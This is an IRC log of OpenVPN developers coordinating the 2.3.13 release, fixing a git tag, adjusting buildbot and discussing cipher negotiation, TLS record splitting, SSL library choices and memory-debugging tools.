<@mattock> there is definitely funkiness going on here 04:08 <@dazo> git pulls is equivalent to 'git fetch + git rebase' 04:09 <@dazo> there is something funky going on 04:11 <@dazo> for some reason 'git tag' used a different committish ... but both commits are identical 04:11 <@dazo> f44354ee1dde9457ecd641144d14b021e2dc0813 (tag) 787515cdcd7a510489566306b2c0edc45eb2e389 (branch) 04:11 <@cron2> which explains why it's not fetched by default ("only tags related to...") 04:11 <@dazo> --- p1 2016-11-03 10:05:15.074912936 +0100 04:11 <@dazo> +++ p2 2016-11-03 10:05:22.616018977 +0100 04:11 <@dazo> @@ -1,4 +1,4 @@ 04:11 <@dazo> -commit f44354ee1dde9457ecd641144d14b021e2dc0813 04:11 <@dazo> +commit 787515cdcd7a510489566306b2c0edc45eb2e389 04:11 <@dazo> Author: David Sommerseth <davids@openvpn.net> 04:11 <@dazo> Date: Wed Nov 2 23:27:41 2016 +0100 04:11 <@dazo> 04:11 <@dazo> yeah 04:11 <@dazo> I'll update the dag 04:12 <@dazo> *tag 04:12 <@cron2> staging branches or something like that? 04:12 <@dazo> nope ... I honestly have no idea how this could happen :/ 04:12 <@cron2> yeah, in this particular case, you can, as nobody will have fetched it yet (except mattock an dme) 04:12 <@dazo> and changing tags won't cause such a havoc 04:13 <@cron2> well, the manual strongly recommends against doing this if someone else already has pulled it 04:14 <@dazo> pulled and checked out a tag can cause confusion, yeah 04:16 <@dazo> meh .... git is getting picky on git push on existing tags these days .... okay, things have definitely changed since last time I did such a hack 04:19 <@dazo> okay ... pushed out again 04:21 <@dazo> and I did, according to the man page, "the insane thing" 04:22 <@cron2> :) 04:22 <@cron2> t [tag update] v2.3.13 -> v2.3.13 04:22 <@dazo> so please do: git tag -d v2.3.13 ; git fetch --tags 04:22 <@cron2> but it wants --tags 04:23 <@dazo> you need to whipe the old tag away 04:23 <@cron2> no 04:23 <@dazo> no? 04:23 * dazo does a pristine clone to double check 04:23 <@cron2> that's the output I got from "git fetch github --tags" - it says "tag update", all is well 04:24 <@cron2> 787515cdcd7a51048 04:24 <@dazo> that's the correct one 04:25 <@dazo> and confirmed it is correct on a fresh clone 04:28 <@dazo> 2.3.13 isn't a very exciting release, though ... most important thing is the --reneg-bytes stuff and --multihome functional on most *BSD 04:28 <@cron2> right, but that is how 2.3.x should be: "minor polishing" 04:29 <@dazo> otherwise its just a few "hygiene patches" and updates of the testing framework 04:29 <@dazo> yeah 04:46 <@mattock> looks like Git has done something to linefeeds in INSTALL-win32.txt when it was migrated to openvpn-build 04:47 <@mattock> at least on Windows 2012r2 (or whatever) the file is using UNIX linefeeds 04:47 <@mattock> that said, I can easily monkey-patch to fix that 04:49 <@mattock> interestingly openvpn-2.4_alpha2 also has this same issue 04:49 <@mattock> if that bug has not been reported yet, I don't think many are using 2.4_alpha2 windows installers yet... 04:53 <@dazo> or they don't read that file ;-) 04:54 <@syzzer> mattock: probably true, but I also think not many people read the file, and tech-savvy people might not use a different default text editor that does grok unix line endings 04:54 <@syzzer> -not 05:01 < lev__> cron2: looks reasonable? https://github.com/lstipakov/openvpn/commit/93c4d758e47d514d2ffd9e5c2340b333bf6dee7b 05:01 <@vpnHelper> Title: Account for IP header offset in TAP mode · lstipakov/openvpn@93c4d75 · GitHub (at github.com) 05:02 < lev__> haven't tested, but just to make sure we're on the same page 05:02 <@mattock> syzzer: the file pops up by default at the end of the install, so it is very difficult to miss it 05:03 <@mattock> it looks very odd when things are basically on one line 05:14 <@mattock> 2.3.13 in apt repos 05:14 <@mattock> new windows installers building 05:23 <@plaisthos> mattock: I tested it on windows 10 machine 05:23 <@plaisthos> maybe the win 10 notepad has learned unix linefeeds 05:23 <@plaisthos> or I skipped the readme 05:26 <@mattock> plaisthos: oh, notepad.exe update? :) 05:26 <@mattock> that would be the first one since Windows 95 I think 05:26 <@mattock> :P 06:01 < slypknot> win 10 notepad does not understand lf .. just tested :) 06:07 <@cron2> lev__: on my way to lunch, will look afterwards 06:14 <@plaisthos> oh okay, then probably overlooked that 06:32 <@syzzer> mattock: I uncheck such boxes in installers without thinking - I guess there are more people we have been trained to do that by decades of crappy windows installers :') 06:37 <@mattock> could be 06:37 <@mattock> still, the problem is painfully visible unless the user has energy to unclick the checkbox 06:38 <@mattock> I fixed it for 2.3.13 already, but I'd rather not publish new 2.4_alpha2 installers - rather go directory to 2.4_beta1 or whatever 06:38 <@mattock> directly 06:39 <@syzzer> mattock: yeah, people using alpha installers will manage :) 06:40 <@mattock> agreed 07:07 <@mattock> is "Limit --reneg-bytes to 64MB when using small block ciphers" the only change worth mentioning separately in 2.3.13? 07:07 <@mattock> https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 07:07 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 07:07 <@mattock> the rest look fairly minor and/or invisible to most 07:09 <@mattock> "This release includes many small improvements and fixes. The largest change in this is release is limiting of --reneg-bytes to 64MB when using small block ciphers. A full list of changes is available <here>" 07:17 <@plaisthos> yes 07:22 <@mattock> OpenVPN 2.3.13 has now been officially released 07:24 < slypknot> dazo: that issue with 1xdeb8 vs your systemd units was down to DHCP: http://unix.stackexchange.com/questions/209832/debian-systemd-network-online-target-not-working 07:24 <@vpnHelper> Title: Debian systemd network-online.target not working? - Unix & Linux Stack Exchange (at unix.stackexchange.com) 07:27 <@cron2> lev__: yes, along that lines. Please add the ether proto v4 check for TAP mode (so ARP or IPX packets get "-1", not "4") 07:41 < lev__> cron2: will do 08:11 <@vpnHelper> RSS Update - tickets: #758: Crash application openvpn-gui.exe <https://community.openvpn.net/openvpn/ticket/758> 08:18 <@dazo> mattock: just a question regarding the INSTALL-win32.txt file .... is it any reasons we really want people to read that file, except "it might have some useful info"? I mean is it information which is crucial for the user installing/upgrading openvpn? 08:19 <@cron2> "installers do it that way!" - but indeed, we should question ourselves what we want the users to actually read upon installation, and what might be "useful to have on the system", but more as a reference 08:19 <@plaisthos> We install a %HOME%/openvpn/config folder, we are already non conformists :p 08:20 <@dazo> lol 08:20 <@dazo> plaisthos++ 08:20 < SviMik> nobody reads README files. 08:20 <@dazo> and especially not README.1ST ;-) 08:21 <@plaisthos> oh that 1ST is like DOS 6.22 times 08:22 <@plaisthos> I wouldn't open a file that looks like it was written 25 years ago 08:22 <@dazo> ;-) 08:23 <@dazo> Maybe we should introduce README.1ST in OpenVPN .... it can contain one sentence: "If you read this sentence, you should probably NOT try to configure OpenVPN yourself." 08:24 <@plaisthos> no 08:24 <@plaisthos> have cp437 style ascii in to pof the file 08:24 <@plaisthos> that builds a OpenVPN logo 08:25 <@dazo> lol 08:25 <@plaisthos> or better ship that as nfo file 08:25 <@plaisthos> https://de.wikipedia.org/wiki/NFO 08:25 <@vpnHelper> Title: NFO – Wikipedia (at de.wikipedia.org) 08:25 <@plaisthos> like real warez :D 08:27 <@dazo> heh ... that'd surely filter out the clueless BOFH sysadmins who grew up in the 80s and 90s :-P 08:27 * dazo is not convinced that would a loss ... 08:34 <@plaisthos> ; Associate nfo file suffix with IBM codepage 437 encoding 08:34 <@plaisthos> (add-to-list 'auto-coding-alist '("\\.nfo\\'" . cp437-dos)) 08:34 <@plaisthos> hm emacs can display those file 08:39 <@dazo> <fedora-notifs> limb submitted openvpn-2.3.13-1.el7 to testing https://bodhi.fedoraproject.org/updates/FEDORA-EPEL-2016-64cc236051 (5 min ago, Fedora 23-25 + rawhide, EPEL 5,6,7) 08:41 <@plaisthos> that was fast 08:41 <@plaisthos> or was that you? 08:52 <@dazo> nope, a combo of automation and a very quick package maintainer :) 08:53 <@dazo> it's just in the testing repos as of now, though ... but still quite fast .... if no-one tests and provides + karma, it will go into the normal updates repos within 14 days (or was it 7, I've forgotten) 09:01 <@cron2> so... upgraded $customer openvpn server to 2.4_alpha2 09:01 <@cron2> clients are being pushed AES-256-GCM! 09:01 <@cron2> (at least some of them...) 09:02 <@plaisthos> cron2: ios/android clients? 09:06 <@cron2> ios 09:07 <@vpnHelper> RSS Update - tickets: #759: openvpn fails to build with openssl 1.1 <https://community.openvpn.net/openvpn/ticket/759> 09:14 <@cron2> the soft reset (64MB) thing seems to be fairly painless - it's frequent for busy users, but since they do not use 2FA, nobody notices 09:25 <@d12fk> dazo: how's the RFC coming along btw? 09:27 <@dazo> slowly ... haven't had too much time .... just a sec and you can see the draft so far 09:44 <@vpnHelper> RSS Update - tickets: #760: Crash application openvpn-gui.exe <https://community.openvpn.net/openvpn/ticket/760> 10:07 <@mattock> cron2, dazo: I will be restarting the buildmaster a few times now, so please don't push anything to repo 10:08 <@mattock> some build failures are to be expected while I modify master.cfg, so better not trigger builds on all buildslave at this point 10:24 <@mattock> cron2: do your more funky operating systems all support "test -f"? 10:24 <@mattock> Linux and FreeBSD seem to have it, but what about opensolaris etc.? 10:24 * dazo stays away from the push button :) 10:24 <@mattock> dazo: good :) 10:38 <@cron2> mattock: I think so 10:38 <@cron2> test -f is oooold 10:38 <@dazo> I'd be very surprised if test -f fails on any unix these days 10:39 <@dazo> (well, it should fail if no file is found .... but that's expected ;-)) 10:41 <@mattock> cron2: actually the ShellCommand buildstep did not work with && / ||, so I'm creating a dummy t_client_ips.rc file to /home/buildbot using "touch", so that "cp" commands don't fail later on 10:41 <@mattock> touch I believe should also be available everywhere 10:41 <@mattock> correct? 10:42 <@dazo> yeah, I think so 10:42 <@dazo> I have some very vague memories learning various shells back in the mid/late 90s ... on Irix and SunOS 10:42 <@dazo> I'm fairly sure I used 'touch' back then 10:43 <@mattock> yeah, it smells like a really old and standard utility 10:43 <@cron2> touch is everywhere 10:44 <@mattock> that could be an Apple ad 10:44 * dazo is disappointed .... touch on RHEL doesn't have a -Z option .... for SELinux :-P 10:45 <@dazo> (probably doesn't support extended attributes at all) 10:45 <@mattock> why would it need to support extended attributes? 10:46 <@mattock> I always just assumed it changes the modification time of a file, and creates the file it does not exist 10:46 <@dazo> SELinux uses extended attributes to store the file contexts 10:47 <@dazo> if touch had supported -Z ... you could do: touch -Z user_home_t /var/lib/odddirectory/file ... and also set the proper SELinux context in one go 10:47 <@mattock> ah, I see 11:52 <@mattock> buildbot seems to be able to load and cache t_client_ips.rc 11:53 <@mattock> I will trigger a few additional test builds to make sure things don't explode on other peoples' buildslaves 11:53 <@mattock> (on a real push to Git) 11:56 <@mattock> there is one "feature" in the t_client_ips.rc generation, though... if a certain EXPECT_IFCONFIG* value can't be found, but t_client_ips.rc is not loaded in t_client.rc, then the script will generate duplicate EXPECT_IFCONFIG entries to t_client_ips.rc 11:56 <@mattock> fixing that would probably be quite straightforward 12:02 <@mattock> cron2: you should find an empty /home/buildbot/t_client_ips.rc file on your "freebsd-90-amd64" and "opensolaris-10-i386" buildslaves 12:02 <@mattock> as long as all relevant EXPECT_IFCONFIG* variables are set, that t_client_ips.rc file should remain empty 12:06 <@mattock> cron2, dazo: the modified buildmaster config has been tested on ~6 buildslaves, and it "seems to work fine", so feel free to push to the Git repo if needed 12:06 <@mattock> if things something breaks, I will fix it 12:07 <@dazo> that's nice, mattock ... that you'll fix all our issues! 12:07 <@mattock> :P 12:07 <@dazo> ;-) 12:08 * dazo dives into the mysterious OpenSSL CRL layers 12:10 <@mattock> sounds a bit like global Windows events I dove into (and have to dive in some more) 12:11 <@mattock> lovely, especially with my rudimentary C# and "Windows internals" skills :) 12:12 <@dazo> I have an OpenSSL book, one of the very few ones I've found ... from 2002 .... and the "implementing CRL part" states: Since v0.9.7 and older does not provide proper CRL support and v0.9.8 have a bad bug, we will here show you how to implement CRL yourself." 12:16 <@dazo> (not quite helpful, as the implementation syzzer did uses the now preferred OpenSSL APIs) 13:09 <@d12fk> harrharr good ol' openssl 13:10 < Thermi> Maybe someone should write a good SSL LIb. Oh god, now we have another broken one. 13:10 <@dazo> Thermi: https://xkcd.com/927/ 13:10 <@vpnHelper> Title: xkcd: Standards (at xkcd.com) 13:10 < Thermi> dazo: That's what I was thinking about 13:11 <@dazo> :) 13:13 <@dazo> I'd say there are three reasonable SSL libs .... OpenSSL (because it's old, tested and is being better maintained these days), NSS (which gets lots of attention, used by many larger projects) and for the lightweight you have mbedTLS (with a sane documentation + code) 13:33 < SviMik> is openvpn going to support all of them? 13:35 < SviMik> (moar SSL libraries!) 13:35 <@dazo> it covers OpenSSL and mbedTLS already .... so if someone adds the needed glue to support NSS, we can at least consider it 13:35 <@dazo> when we added the mbedTLS/PolarSSL support it was done in a way that it should be possible to more easily add more SSL libraries 13:53 <@cron2> dazo: hrhr ("not seeing the large neon-pink elephant"). 13:53 <@cron2> this could be because of two reasons - the patch is perfect ("don't you know syzzer's patches always are!") or he's become better at hiding the surprises :) 13:54 <@dazo> it's the latter one I'm most afraid of :) 13:58 < Thermi> dazo: The CRL handling works correctly? Did you test edge cases? 13:59 <@dazo> Yes, it CRL works as expected ... when listed on the CRL it is rejected or when using --crl $DIR dir ... and the certificate serial number is listed as a file in that dir 16:19 <@syzzer> dazo: still around - sorry I wasn't around earlier, could have saved you a lot of work :( 16:42 <@syzzer> oh, and when do my patches ever break something O-) 18:02 < diizzy> https://bearssl.org/ 18:02 <@vpnHelper> Title: BearSSL (at bearssl.org) 18:02 < diizzy> yey, another one :) 21:38 <@ecrist> cron2: looks like mandree committed that port update --- Day changed Fri Nov 04 2016 01:47 <@cron2> cool 02:57 <@syzzer> cron2: heh, I was wondering if someone else was writing a similar mail as me 03:06 * cron2 wonders what we'll do if AES turns out to be borked one day 03:06 <@cron2> ... as we cannot push "cipher SuperSecure" to standard 2.4 clients without permitting these in the NCP cipherlist *first*, by means of (hooray) config change... 03:07 <@cron2> (never mind that IV_NCP is defined as "will do AES!") 03:12 <@syzzer> this is why I would like to introduce IV_NCP=3 at some point, that does actual negotiation 03:13 <@syzzer> but for now, we've got more important thing to worry about than 'what is AES is ever broken?' 03:15 <@cron2> makes sense :) 03:34 <@cron2> *sigh* 03:34 * cron2 has a lev__ v4, but that has not been rebased, so it does not apply without force... 03:35 <@cron2> oops 03:35 <@cron2> wrong branch 03:35 * cron2 takes that back - it applies nicely to master :) - so, testing! 03:39 <@cron2> Fri Nov 4 09:33:55 2016 us=887878 Recursive routing detected, drop tun packet to [AF_INET]199.102.77.82:51196 03:39 <@cron2> (tap!) 03:40 <@cron2> Fri Nov 4 09:35:12 2016 us=419893 Recursive routing detected, drop tun packet to [AF_INET6]2607:fc50:1001:5200::4:51196 03:41 <@syzzer> \o/ 03:42 <@cron2> indeed. Functionality is there, now see if it breaks anything... 03:50 <@cron2> "breaking" brings me to "I should upgrade the conn-test-server to current master"... 03:53 < lev__> cron2: testing 2.3 now 03:56 <@cron2> lev__: server-with-patch tested fine against 2.2 client :) 04:06 <@cron2> so! 04:07 <@cron2> reference server will now do AES and NCP 04:07 <@cron2> (it ran code from July 2015...) 04:07 <@cron2> I've changed my t_client.rc to include --ncp-cipher in one of the tests, so we are now excercising that bit as well (and 2.3 clients won't do NCP, so, more compatibility tests) 04:15 <@cron2> lev__: any particular reason why --allow-recursive-routing cannot be used with --mode server? 04:24 <@cron2> ok, 2.3 is well-behaved wrt dropping v4/v6 on tun/tap, now t_client check 04:31 <@cron2> syzzer: I wonder if a one-by-one migration of clients wouldn't be possible by having the client set "--cipher AES --setenv IV_CIPHER=AES" and the (2.4) server having a client-connect script that would look at this and set proper "cipher AES" in response (not GCM, obviously) 04:31 <@cron2> of course it needs a 2.4 server, for "per client cipher" 04:32 <@syzzer> yeah, I think that could work 04:32 <@syzzer> and it looks like it would be extensible to full cipher negotiation later on 04:33 <@syzzer> e.g. set IV_CIPHER=AES-GCM:POLY-CHAHA:moar:ciphers later to specify a list 04:34 <@cron2> right, but that would need more elaborated server side checks (plus, clients that could actually handle pushed ciphers :) ) 04:35 <@syzzer> if we push a cipher to a 2.3 client now, I think all will work as long as it's the cipher that was in use anyway 04:36 <@syzzer> looks like a nice 'backwards compatible' way to me :) 04:36 <@cron2> right 04:36 <@syzzer> interesting... 04:37 <@mattock> meeting invitation sent 04:38 <@mattock> the topic list has a table outlining our current testing procedures, now that somebody suggested patchwork 04:38 <@mattock> to better get an idea where patchwork would fit in, and how much it overlaps with what we have already 04:39 <@cron2> do I want AES-128-CBC or AES-128-CFB? 04:39 <@syzzer> CBC 04:40 <@syzzer> CFB *should* work too, but CBC is 'what openvpn always did', so the most bullet proof 04:42 <@cron2> ok, it's a bit hackish, as we're not sending IV_ variables setenv'ed by users 04:42 <@cron2> but --setenv UV_CIPHER ... --push-peer-info works 04:44 <@cron2> ... close... 04:44 <@cron2> Nov 4 05:38:20 phillip tun-udp-p2mp[30574]: OPTIONS IMPORT: reading client specific options from: /tmp/openvpn_cc_8f4180476c5402362bedbb865550a955.tmp 04:44 <@cron2> Nov 4 05:38:20 phillip tun-udp-p2mp[30574]: Options error: option 'cipher' cannot be used in this context (/tmp/openvpn_cc_8f4180476c5402362bedbb865550a955.tmp) 04:44 <@cron2> *scratch head* 04:45 <@syzzer> it complains, but won't bork, right? 04:46 <@syzzer> oh, wait, this is server side. is this a master server/ 04:46 <@vpnHelper> RSS Update - gitrepo: Drop recursively routed packets <https://github.com/OpenVPN/openvpn/commit/e8c42658ff8df10ad56659788a73900648b9d92d> 04:46 <@cron2> it complains and does not work, and I'm afraid I know why this is - client is not sending IV_NCP, so server is not delaying cipher init, so cipher cannot be changed 04:46 <@cron2> the server is "master as of 5 minutes ago" (without Lev__ v4) 04:46 <@cron2> can't debug right now, need to go and help my wife carry heavy stuff :) - back in ~1 hour or so 04:46 <@syzzer> ah, ok, could be 05:10 <@cron2> mmmh 05:11 < lev__> cron2: "any particular reason why --allow-recursive-routing cannot be used with --mode server?" good point. I somehow considered this feature as client-side - you more likely unplug cable on the laptop rather than on server 05:11 <@cron2> syzzer: it might be something else, according to option.c, cipher is OPT_P_NCP, but might need OPT_P_INSTANCE as well 05:11 <@cron2> lemme test... 05:13 <@syzzer> cron2: sounds plausible 05:14 < lev__> and thanks for testing! 05:15 <@cron2> lev__: well, apologies for not doing this in a more timely fashion... 05:23 <@dazo> diizzy: There are at least "one million" SSL libraries out there. Some good, some really bad. Those being actively in use are to me the ones which really matters. OpenSSL have a long history and is widely adopted and used, the company behind ARM bought up company behind PolarSSL and embedded it into their mbed stack as mbedTLS ... and NSS is widely used within former Netscape products (f.ex former Netscape Directory Server, now 389 05:23 <@dazo> Directory Server) and Mozilla Firefox + Thunderbird 05:25 <@cron2> syzzer: it's twofold - one is "if IV_NCP is not set, we initialize the cipher right away, and ignore 'cipher' later on" and the other one is "it's disallowed" 05:25 <@dazo> diizzy: So for wide adoption, basing on OpenSSL or NSS is in many cases very sane over the alternatives. What makes PolarSSL/mbedTLS interesting is that it has been through a thorough review to be part of the OpenVPN security certification in the Netherlands (which is shipped as the OpenVPN-NL variant of OpenVPN, maintained by Fox-IT, NL) 05:28 <@dazo> All this is why I think those 3 SSL libraries are reasonable in OpenVPN contexts .... BoringSSL, LibreSSL, NaCL, GNUTLS, gcrypt, etc, etc, etc doesn't have the same footprint and history 05:29 <@dazo> If adding a 4th SSL lib to my list, it would probably be NaCL, though ... which again seems to have a fairly reasonable API 05:30 <@cron2> Nov 4 11:24:38 gentoo openvpn[21564]: 2001:608:4:0:b058:2eac:8ee1:8198 peer info: UV_CIPHER=AES-192-CBC 05:30 <@cron2> Nov 4 11:24:38 gentoo openvpn[21564]: 2001:608:4:0:b058:2eac:8ee1:8198 peer doesn't do NCP, but sends UV_CIPHER, leaving NCP enabled 05:31 <@cron2> whee! dat shit works! 05:33 * dazo decides to roll an update of OpenVPN on his firewall @ home 05:33 <@dazo> It acts both as VPN server and client, so it would gain quite some testing 05:36 <@syzzer> cron2: looks like we should do a 2.3.14 quite soon ;) 05:37 <@cron2> syzzer: block-outside-dns v2 needs some love first :-) 05:40 <@cron2> sorry for the buildbot test 6 fails... that's me, not restarting that server instance 05:41 <@cron2> plaisthos: your buildbot seems still slightly confused wrt openssl 05:41 <@cron2> looks like it found a certain set of headers when building but is linking against "soemthing else" 05:41 <@cron2> Undefined symbols for architecture x86_64: "_SSL_CTX_get0_certificate", referenced from _tls_ctx_check_cert_time in ssl_openssl.o 05:46 <@dazo> syzzer: I see that key_state_write_plaintext_const() might have confused me yesterday .... it calls some write functions in the SSL libraries, but I've not fully caught if it is encrypted or not .... I just expected the control channel to be fairly unencrypted (thus not needing an SSL context), as quite some of the control channel is unencrypted ... but AUTH_PASS/FAILED messaged may indeed be tackled in the payload part of the control 05:46 <@dazo> channel message 05:47 <@dazo> (btw ... I the stuff I did yesterday wasn't wasted time for me .... it was a process where I could put more of the pieces I've looked at earlier into a bigger picture) 05:48 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 260 seconds] 05:49 <@syzzer> dazo: yeah, the terminology can be a bit misleading 05:50 <@syzzer> 'control channel' could be considered either 'anything not P_DATA' or 'anything inside the TLS channel'. I usually stick to the second definition. 05:51 <@syzzer> we have some opcodes outside the TLS channel, but almost anything else is inside 05:51 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 05:51 <@syzzer> (apart from P_DATA, ofc) 05:51 <@dazo> yeah, there are several aspects where the control channel does not use the payload part .... where the TLS stuff would go 05:54 <@dazo> like the P_CONTROL_{HARD,SOFT]_RESET_{SERVER,CLIENT}_V2 ones.... then there is P_DATA_V{1,2}, which is data channel ... and then P_ACK_V1 (which I don't recall now if depends on the payload, I don't think so) ... and CONTROL_V1 where the payload is used 06:00 <@syzzer> P_ACK is a reliability layer thing, which is underneath the TLS channel 06:20 <@dazo> syzzer: right ... but IIRC (my memory is very sketchy in this area now), I think it only parses the non-payload part of the control channel message ... which do contain the HMAC signature 06:56 <@syzzer> dazo: P_ACK *is* protected by the --tls-auth HMAC, but not by TLS itself 07:14 <@cron2> ... users... 07:14 <@cron2> someone sends me a copy of lev v2 (= which breaks tap, --inetd, etc.) and says "hey, this works for me!" 07:15 <@syzzer> why u no apply fix?!? 07:15 <@cron2> well, he did not write this... just "here's this patch, and I tested, and it works!" 07:21 <@dazo> heh 08:17 <@cron2> syzzer: poor man's NCP any good? 08:17 <@syzzer> cron2: looks good at first sight 08:19 <@syzzer> need to think a bit more about how this would interact with true negotiation, and if we can combine it in an elegant way such that we don't have to maintain this 'migration feature' forever 08:21 <@cron2> makes sense 08:31 <@plaisthos> I proposed the same a few here in the channel and the consense was, nah old clients will be upgraded anyway :P 08:40 <@cron2> they will, but it will take time... 08:41 <@syzzer> plaisthos: oh, I must have either missed that or misunderstood you... 08:51 <@plaisthos> doesn't matter 08:52 <@plaisthos> cron2: I think your patch is wrong 08:52 <@plaisthos> in you example the server will push aes-256-gcm 08:53 <@cron2> no 08:53 <@cron2> before deciding what to push, there's an extra check in push.c 08:53 <@cron2> /* Push cipher if client supports Negotiable Crypto Parameters */ 08:53 <@cron2> if (tls_peer_info_ncp_ver (peer_info) >= 2 && o->ncp_enabled) 08:53 <@cron2> so this will just "do nothing" 08:54 <@cron2> -> unless the client-connect script (or plugin) creates something to push, and a per-instance "cipher" config line, the server will not do anything particular here (except delay cipher initialization) 08:56 <@plaisthos> oh 08:56 * cron2 test case deliberately uses "cipher AES-192-CBC" as that's never used by default anywhere :) 08:57 <@plaisthos> cron2, syzzer: What about instead going for UV_WANT_CIPHER=aes-192-gcm? 08:57 <@plaisthos> then checking if that is in the ncp-cipher list and using that instead of the server dictorship? 08:58 <@plaisthos> that would work with old clients too 08:59 <@cron2> plaisthos: right, that would be another step towards having it inside OpenVPN - my hack needs a client-connect script to parse/validate/push 08:59 <@cron2> (the "push" bit is really only there to signal "I've heard you!" because the client will not accept it anyway) 08:59 <@dazo> spam message gone wrong: Assist me invest the sum of (4.2 United States Dollars) left in the bank by my late father. 08:59 <@dazo> Investment for $4.20 ..... :-P 09:44 <@plaisthos> cron2: yeah but that would also useful for ncp clien 09:45 <@plaisthos> where you might for whatever reason have a different cipher 09:45 <@plaisthos> dazo: that sounds like a realistic sum 10:07 <+krzee> lol may as well help him invest it 10:07 <+krzee> poor guy just wants to invest his $4 10:08 <+krzee> get him like 1/21th of a share in kraft heinz 12:50 <@cron2> hah 12:50 <@cron2> Nov 4 13:44:54 phillip tun-tcp-p2mp[30563]: freebsd-11-amd64/194.97.140.16 Data Channel Encrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 12:50 * cron2 is seeing lots of AES today \o/ 13:49 <@dazo> slypknot: are you going to send a patch for the FPING_EXTRA_ARGS support in t_client.sh.in? .... would be great to solve those issues you have on your buildslaves 14:05 <@syzzer> oof, I've been working on making 1/n-1 splitting work today, but some of these changes I find quite scary... :( 14:06 <@dazo> 1/n-1? 14:06 <@syzzer> basically changes the control channel from a packet-oriented to a stream oriented thing 14:06 <@dazo> ahh 14:06 <@syzzer> 1/n-1 splitting is a counter measure against the BEAST attack on TLS 14:07 <@syzzer> but we have to disable that counter measure because our implementation does not treat the TLS channel as a stream, and it barfs when the TLS lib splits one message into to parts (one of size 1, one of size n-1) 14:08 <@syzzer> so today I decided to get on with it and implement 'the right thing'. but it's scary. 14:08 <@dazo> I can imagine :) 14:08 <@dazo> syzzer: no guts, no glory! ;-) 14:09 <@syzzer> heh, yeah... :p 14:09 <@syzzer> anyway, almost there. 14:11 <@dazo> cool! lets see which kind of neon-coloured animals I won't find in that/those patches ;-) 14:28 <@cron2> syzzer: so you have to treat it as a stream, which is then broken down into individual OpenVPN control channel messages again, to be resequenced by the OpenVPN reliability layer? 14:29 <@cron2> sounds... scary 14:29 <@syzzer> well, it's not that bad 14:29 <@syzzer> this is just the part that comes out of and goes bad into the TLS lib 14:29 <@syzzer> that is already supposed to be a stream 14:29 <@syzzer> but we do not treat it that way 14:30 <@syzzer> *back into 14:30 <@syzzer> "goes bad" must have Freudian :') 14:38 <@syzzer> hehe, we have a 'buf_blast()' 14:38 * syzzer had to think of bazooka's 14:39 <@dazo> lol 14:41 <@dazo> so disappointing when looking at the buf_blast() code :/ 14:42 <@dazo> we have buf_bend() as well .... 14:43 <@dazo> "lets curve this buffer around that corner" 14:48 <@syzzer> :') 15:43 <@syzzer> hm, do we still want to support dmalloc? Seems to me that having valgrind and clang's -fsanity=memory suffices... 15:44 <@dazo> I've never even considered to test openvpn with dmalloc 15:53 <@syzzer> well, it's currently broken anyway 15:53 <@syzzer> so I'd say either fix or purge 15:53 * syzzer votes purge 15:54 * dazo votes purge too 15:54 <@dazo> (especially as it is broken as of today) 15:55 * SviMik votes blast 15:56 <@syzzer> hehe 16:08 <@dazo> syzzer: what is it the MBEDTLS_SSL_{MAJOR,MINOR}_VERSION_{0..3} defines tries to tell me? 16:08 <@syzzer> whether these TLS versions are compiled in 16:09 <@dazo> ahh, okay ... that wasn't too clear from the mbedtls source code even :/ 16:09 <@syzzer> SSLv3 = 3.0, TLSv1 = 3.1, TLSv1.2 = 3.2, etc 16:10 <@dazo> alright, then I see better .... mind if I just add that explanation as a comment in the patch? 16:11 <@dazo> /* mbed TLS library supported SSL/TLS versions: SSLv3 = 3.0, TLSv1 = 3.1, TLSv1.2 = 3.2 16:11 <@dazo> */ 16:12 <@dazo> (or perhaps my brain is a bit fried this evening, not seeing the obvious things) 16:14 <@dazo> the more I think about it, the clearer it gets ... but it didn't strike me instantly - which is why I'm pondering on being a bit more explicit 16:14 <@syzzer> hm, I don't mind, but at the same time I can't help to think 'that's just how TLS works' 16:15 <@dazo> I'll rather just append a note on the mapping to the commit message instead 16:15 <@syzzer> sure, that's definitely fine 16:16 <@syzzer> it's cluttering the code with too many comments that I worry about :) 16:16 <@dazo> agreed ... I just lacked the context to understand those macros 16:19 <@dazo> I presume you meant TLSv1.2 == 3.3, TLSv1.1 == 3.2, TLSv1.0 == 3.1 and SSLv3 == 3.0 ... right? 16:20 <@syzzer> ah, yes, that was a typo 16:20 <@dazo> good! I still have brain capacity ;-) 16:24 <@vpnHelper> RSS Update - gitrepo: Fix --tls-version-max in mbed TLS builds <https://github.com/OpenVPN/openvpn/commit/8215b7a873400b85137f6e42cd7999dd12b00b71> 16:32 <@syzzer> \o/ 16:33 <@dazo> :) 16:33 <@dazo> I considered that fairly one important .... now going through the argv patches 16:33 <@cron2> syzzer: who broke it (dmalloc)? last time I tried it - long ago - it worked 16:34 <@syzzer> cron2: not sure - last time I tried it didn't compile. Then I fixed the compile errors, but the binary would only ever crash. Then I gave up. 16:35 <@dazo> could be dmalloc api have changed ... and since we don't do much testing with dmalloc, we didn't notice .... which should be an indication on how "important" this feature is 16:36 <@dazo> not saying dmalloc isn't useful ... but I think we have more valuable tools these days which doesn't require special code support for it 16:39 <@dazo> latest dmalloc release, v5.5.2 have the date stamp 2007-05-14 16:50 <@syzzer> wow, that sure is an indication 16:51 <@dazo> when seeing that date stamp, it can just as well be that the compiler doesn't build dmalloc as expected any more 16:52 <@dazo> maybe dmalloc even don't like -std=c99 16:53 <@syzzer> I simply compile with clang and have -fsanity=memory in my CFLAGS by default, then it will start screaming at me during testing when I wrote new leaks 16:54 <@dazo> yeah, makes more sense 17:00 <@dazo> clang isn't too super excited with ntlm.c it seems ..... /me had to test building openvpn with clang now 17:01 <@syzzer> heh, no, neither am I :p 17:01 <@dazo> hehe :) 17:02 <@syzzer> still waiting for d12fk's colleague (reators, I think?) to resubmit the ntlm fixes patch 17:02 <@dazo> ahh, no need to peek at those errors now then 17:03 <@dazo> *grmbl* my clang version doesn't have -fsanity :/ 17:06 <@dazo> lol 17:06 <@dazo> * This is defined here to prevent #include'ing misc.h 17:06 <@dazo> * which makes things difficult beyond any recognition 17:06 <@dazo> d12fk++ 17:15 <@syzzer> just dicovered that I didn't have -fsanitize=memory in my CFLAGS anymore, and now that I put it there, openvpn won't even start :') 17:15 <@syzzer> ./openvpn-polarssl --config server.conf==20206==WARNING: MemorySanitizer: use-of-uninitialized-value 17:15 